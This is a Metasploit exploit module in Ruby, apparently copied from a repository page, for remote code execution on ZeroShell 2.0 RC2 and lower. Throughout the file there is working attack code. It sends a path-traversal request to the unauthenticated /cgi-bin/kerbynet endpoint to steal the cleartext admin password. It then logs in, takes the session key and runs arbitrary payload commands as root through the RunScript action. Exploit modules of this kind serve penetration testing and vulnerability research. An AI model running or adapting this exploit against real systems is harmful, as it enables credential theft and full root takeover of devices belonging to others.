157 lines
4.4 KiB
Ruby
157 lines
4.4 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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include Msf::Exploit::EXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "ZeroShell Remote Code Execution",
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'Description' => %q{
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This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.
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It will leverage an unauthenticated local file inclusion vulnerability in the
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"/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw".
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This file contains the admin password in cleartext. The password is used to login
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as the admin user. After the authentication process is complete it will use the
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RunScript action to execute the payload with root privileges.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Yann CAM', # Discovery, PoC
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'xistence <xistence[at]0x90.nl>' # Metasploit module
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],
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'References' =>
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[
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[ 'URL', 'http://packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html' ]
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],
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'Platform' => ['linux'],
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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['ZeroShell 2.0 RC2', {}]
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],
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'Privileged' => true,
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'DisclosureDate' => "Sep 22 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
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], self.class)
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deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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end
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def uri
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return target_uri.path
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end
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def check
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# Check version
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print_status("#{peer} - Trying to detect ZeroShell")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri)
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})
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if res and res.code == 200 and res.body =~ /ZeroShell/
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print_good("ZeroShell detected")
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end
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unless password.nil?
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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# Retrieve admin password using unauthenticated LFI
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def password
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rootpw = "../../../var/register/system/ldap/rootpw"
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print_status("#{peer} - Retrieving cleartext admin password")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
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'vars_get' => {
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'Section' => "NoAuthREQ",
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'Action' => "Render",
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'Object' => rootpw
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}
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})
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if res and res.code == 200 and res.body !~ /not found/
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res.body =~ /^(.*)$/
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pass = $1
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print_status("#{peer} - Password retrieved [ #{pass} ]")
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return pass
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else
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return nil
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end
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end
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# Login using the retrieved password and grab the session key from the response body.
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def login(admin_password)
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print_status("#{peer} - Log in and retrieving session key")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
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'vars_post' => {
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'Action' => "StartSessionSubmit",
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'User' => "admin",
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'PW' => admin_password
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}
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})
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if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/
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sessionkey = $1
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print_status("#{peer} - Session key retrieved [ #{sessionkey} ]")
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return sessionkey
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else
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fail_with(Failure::Unknown, "#{peer} - Retrieving session key failed!")
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end
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end
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# The RunScript action will run shell commands directly with root privileges.
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def execute_command(cmd, opts)
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script_name = rand_text_alphanumeric(8)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
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'vars_post' => {
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'Action' => "RunScript",
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'Section' => "Setup",
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'STk' => @session,
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'ScriptName' => script_name,
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'Script' => cmd + '&'
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}
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})
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if res and res.code != 200
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fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
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end
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end
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def exploit
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admin_password = password
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if admin_password.nil?
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fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
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end
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@session = login(admin_password)
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execute_cmdstager({:flavor => :echo})
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end
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end
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